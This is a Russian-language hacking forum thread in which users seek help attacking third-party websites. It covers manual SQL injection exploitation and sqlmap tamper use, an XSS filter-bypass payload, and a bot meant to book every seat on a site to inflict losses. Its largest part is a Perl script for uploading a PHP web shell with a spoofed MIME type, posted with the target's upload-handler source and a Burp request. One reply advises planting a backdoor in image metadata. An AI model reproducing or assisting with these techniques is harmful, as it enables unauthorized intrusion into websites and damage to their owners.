Он тянет, сохраняет и инклудит вот этот http://linksferma.com/lnk/inj.php скрипт. Там уже понятнее, что к чему.
подскажите друзья есть сайт с гет параметром, добавил в конец ' вышла такая ошибка, думаю есть уязвимость You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near and status=1' at line 1 1064 но при попытке раскрутить его мапом выдает ошибку unable to connect to the target URL пробывал прокси сунуть такая же беда
http://prntscr.com/l9g7ob вот уязвимость на сайте выглядит так, так выдает ответ sqlmap http://prntscr.com/l9g85z
Попробуй для начала раскрутить руками. Потом, когда на руках будет раскрученная уязвимость - используй соответствующие тамперы.
да дело в том что я не умею крутить руками) подскажи как это сделать правильно, или тыкни хоть в какой то мануал пожалуста)
Просканировал сайт, там нашел вот такую ссылку - https://site.ru/engine/ajax/poll.php Spoiler Что можно сделать?
Ребят,я почти не разбираюсь,но мап выдал http://prntscr.com/lbrh9s,но дальше тесты не дали результатов.http://prntscr.com/lbrhlm Можно ли как-то раскрутить??
Ребят, кто может помочь. Есть ссылка, нашел через NetSparker, она выдает ошибку. Можно ли эту ошибку как-то раскрутить.(адрес по типу https://site.su/fullnews-14 Spoiler
onerror=alert;throw 1; This works on every browser apart from Firefox *, Safari and IE will just call the function with the argument but Chrome and Opera add uncaught to the argument. This is no big deal though since we can just modify it slightly and use a different object as an argument such as a string. onerror=eval;throw'=alert\x281\x29';
Есть сайт на котором разрешено бронировать места, если я создам бота который забронирует все места вызвав финансовые потери, я нарушу закон?
Есть скрипт на perl c помощью которого я хочу залить на сайт веб шелл с подменой MIME-типа: Spoiler: сплойлер Code: #!/usr/bin/perl # use LWP; use HTTP::Request::Common; $ua = $ua = LWP::UserAgent->new;; $res = $ua->request(POST 'Уязвимый Сайт', Content_Type => ' multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE" X-Unity-Version: 5.6.5f1', Content => [userfile => ["C:/jpeg.jpg.php", "jpeg.jpg.php", "Content-Type" =>"image/png", "iAuid" => "6cb4dbkgvato004v6i4vugq6q2","sSign" => "5msfdbv9gsct64cbo9e3hbc3p0", "content" => "" ],],); print $res->as_string(); Но я не могу составить запрос таким образом, чтобы он принял файл. Постоянно натыкаюсь на ошибку 1000(что в скрипте значит - неправильно передан в параметре) В самом бурпе натыкаюсь уже на 1002 - (неверный тип файла) Подскажите, как правильно составить запрос на PERL, чтобы сайт принимал файл? Spoiler: share Code: <?php include_once dirname(__FILE__) . '/configuration.php'; include_once dirname(__FILE__) . '/includes/share/share.class.php'; $oConfig = new JConfig(); $Image = isset($_POST['content']) ? $_POST['content'] : null; if (is_null($Image)) { $Image = isset($_FILES['content']) ? $_FILES['content'] : null; } $Preview = isset($_POST['preview']) ? $_POST['preview'] : ''; if (empty($Preview)) { $Preview = isset($_FILES['preview']) ? $_FILES['preview'] : ''; } $iAuid = isset($_POST['auid']) ? intval($_POST['auid']) : intval($_GET['auid']); $sShareType = isset($_POST['shareType']) ? $_POST['shareType'] : ''; $sSign = isset($_POST['sign']) ? $_POST['sign'] : $_GET['sign']; $sBaseUrl = 'http://' . $_SERVER['HTTP_HOST'] . '/'; if ($Image && $iAuid && $sSign) { $sScriptUri = empty($_SERVER['SCRIPT_URI']) ? 'http' . (empty($_SERVER['HTTPS']) ? '' : 's') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_URI']; if (md5($iAuid . $sScriptUri) == $sSign) { $oSharer = new GameShare($iAuid, $Image, $Preview, $sShareType, $sSign); $oSharer->setConfig($oConfig); $sShareUrl = null; $iResult = $oSharer->doShare($sShareUrl); if ($iResult == 1) { print $sBaseUrl . $sShareUrl; } else { print $sBaseUrl . '?ec=' . $iResult; } } else { error_log('Sign is incorrect => iAuid:' . $iAuid . ' sSign:' . $sSign . ' sScriptUri:' . $sScriptUri); print $sBaseUrl . '?ec=1001'; //подпись не совпадает } } else { error_log('Some parameters are not set => iAuid:' . $iAuid . ' sSign:' . $sSign . ' Image:' . ($Image ? '+' : '-')); print $sBaseUrl . '?ec=1000'; //пропущены обязательные параметры } Spoiler: share-class Code: <?php include_once dirname(__FILE__).'/../mysql/mysql.class.php'; class GameShare { private $auid; private $shareType; private $fileInfo; private $previewInfo; private $oConfig; private $sign; private $dbInfo = array(); private $allowedMime = array( 'image/png', 'image/gif', 'image/jpeg', ); /** * @param $auid * @param $fileInfo * @param string $previewInfo * @param string $shareType * @param string $sign */ public function __construct($auid, $fileInfo = null, $previewInfo = '', $shareType = '', $sign = '') { $this->auid = $auid; $this->fileInfo = $fileInfo; $this->previewInfo = $previewInfo; $this->shareType = $shareType; $this->sign = $sign; } /** * @param $sFolder */ private function createFolder($sFolder) { if (!file_exists($sFolder)) { mkdir($sFolder, 0777); } } /** * @return null|string */ private function createUserFolder() { if ($this->auid) { $shareFolder = dirname(__FILE__) . '/../../' . $this->oConfig->shareFolderName; $this->createFolder($shareFolder); $shareFolder10000 = $shareFolder . (intval($this->auid/10000)) . '/'; $this->createFolder($shareFolder10000); $shareFolder1000 = $shareFolder10000 . (intval($this->auid/1000)) . '/'; $this->createFolder($shareFolder1000); $shareFolder100 = $shareFolder1000 . (intval($this->auid/100)) . '/'; $this->createFolder($shareFolder100); $shareFolder1 = $shareFolder100 . (intval($this->auid)) . '/'; $this->createFolder($shareFolder1); return $shareFolder1; } return null; } /** * @return string */ public function getUserFolder() { return $this->oConfig->shareFolderName . intval($this->auid/10000) . '/' . intval($this->auid/1000) . '/' . intval($this->auid/100) . '/' . intval($this->auid) . '/'; } /** * @param $oConfig */ public function setConfig($oConfig) { $this->oConfig = $oConfig; $this->dbInfo = array( 'mysqlHost' => $this->oConfig->host, 'mysqlUser' => $this->oConfig->user, 'mysqlPassword' => $this->oConfig->password, 'mysqlDB' => $this->oConfig->db, ); } /** * @param $auid */ public function setAuid($auid) { $this->auid = $auid; } /** * @param $sResult * @return int */ public function doShare(& $sResult) { $sUserFolder = $this->createUserFolder(); if (!$sUserFolder) return 1003; //ошибка при загрузке файла на сервер $time = time(); // Заливаем основную картинку $imageInfo = getimagesize($this->fileInfo['tmp_name']); if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла $aExt = explode('/', $imageInfo['mime']); $fileName = $time . '.' . $aExt[1]; $sDest = $sUserFolder . $fileName; move_uploaded_file($this->fileInfo['tmp_name'], $sDest); // Заливаем превью (если есть что) $previewFileName = ''; if ($this->previewInfo) { $imageInfo = getimagesize($this->previewInfo['tmp_name']); if (empty($imageInfo[0]) || empty($imageInfo[1])) return 1002; //неверный тип файла if (!in_array($imageInfo['mime'], $this->allowedMime)) return 1002; //неверный тип файла $aExt = explode('/', $imageInfo['mime']); $previewFileName = $time . '-thumb.' . $aExt[1]; $sDest = $sUserFolder . $previewFileName; move_uploaded_file($this->previewInfo['tmp_name'], $sDest); } // Сохраняем, формируем ответ, если ОК $iResult = $this->save($fileName, $previewFileName); if (!$iResult) return 1004; $sResult = '?share='.$iResult; return 1; } /** * @param $fileName * @param string $previewFileName * @return mixed */ public function save($fileName, $previewFileName = '') { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oSQL->query('INSERT INTO tbl_share_info (auid, filename, preview_filename, sharedate) VALUES (' . intval($this->auid) . ', "' . $fileName . '", "' . $previewFileName . '", NOW())'); return $oSQL->insert_id; } /** * @param $id * @return mixed */ public function get($id) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE id=' . intval($id)); return $oResult->fetch_array(); } /** * @param $id * @return int */ public function getPrev($id) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT MAX(id) as prev FROM tbl_share_info WHERE id<' . intval($id)); $aRow = $oResult->fetch_array(); return intval($aRow['prev']); } /** * @param $id * @return int */ public function getNext($id) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT MIN(id) as next FROM tbl_share_info WHERE id>' . intval($id)); $aRow = $oResult->fetch_array(); return intval($aRow['next']); } /** * @param $auid * @return mixed */ public function checkUserScreens($auid) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT COUNT(*) AS iCnt FROM tbl_share_info WHERE auid=' . intval($auid)); $aRow = $oResult->fetch_assoc(); return $aRow['iCnt']; } /** * @param $auid * @return array */ public function getUserScreens($auid) { $oSQL = mysqlConnect::getInstance($this->dbInfo); $oResult = $oSQL->query('SELECT * FROM tbl_share_info WHERE auid=' . intval($auid) . ' ORDER BY sharedate DESC'); $aResult = array(); while ($aRow = $oResult->fetch_assoc()) { $aResult[] = $aRow; } return $aResult; } }
Заливаете сам шел? попробуйте лить саму картинку и в ее метотегах прописать мини бэгдорчик, а там если прольется, с него уже и лейте шелл.
По скрипту он сначала проверяет на соответствие программ. И говорит о том, что указаны неверные параметры, хотя все указано верно. После он уже проверяет на MIME Проблема с указанием параметров из-за незнания перла..да и бурпа. Пример из бурпа, он уже дает ошибку 1002 и совершенно непонятно, почему в скрипте пишет ошибку 1000(неверны переданы параметры), а через бурп 1002(некорректный MIME файл) хотя я загружаю чистую картинку, без примесей Spoiler: 1 Code: POST /share.php HTTP/1.1 Host: Сайт Connection: close User-Agent: UnityPlayer/5.6.5f1 (http://unity3d.com) Content-Type: multipart/form-data; boundary="JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE" Content-Length: 591093 --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE Content-Type: text/plain; charset="utf-8" Content-disposition: form-data; name="auid" 343296 --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE Content-Type: text/plain; charset="utf-8" Content-disposition: form-data; name="sign" 3ca4df16083f3d3ad33409014fdf43c4 --JiFT4QdEESkPzh0ybiDyKsUPi1jnCyFCgVtV4xHE Content-Type: image/png Content-disposition: form-data; name="content"; filename="content" Картинка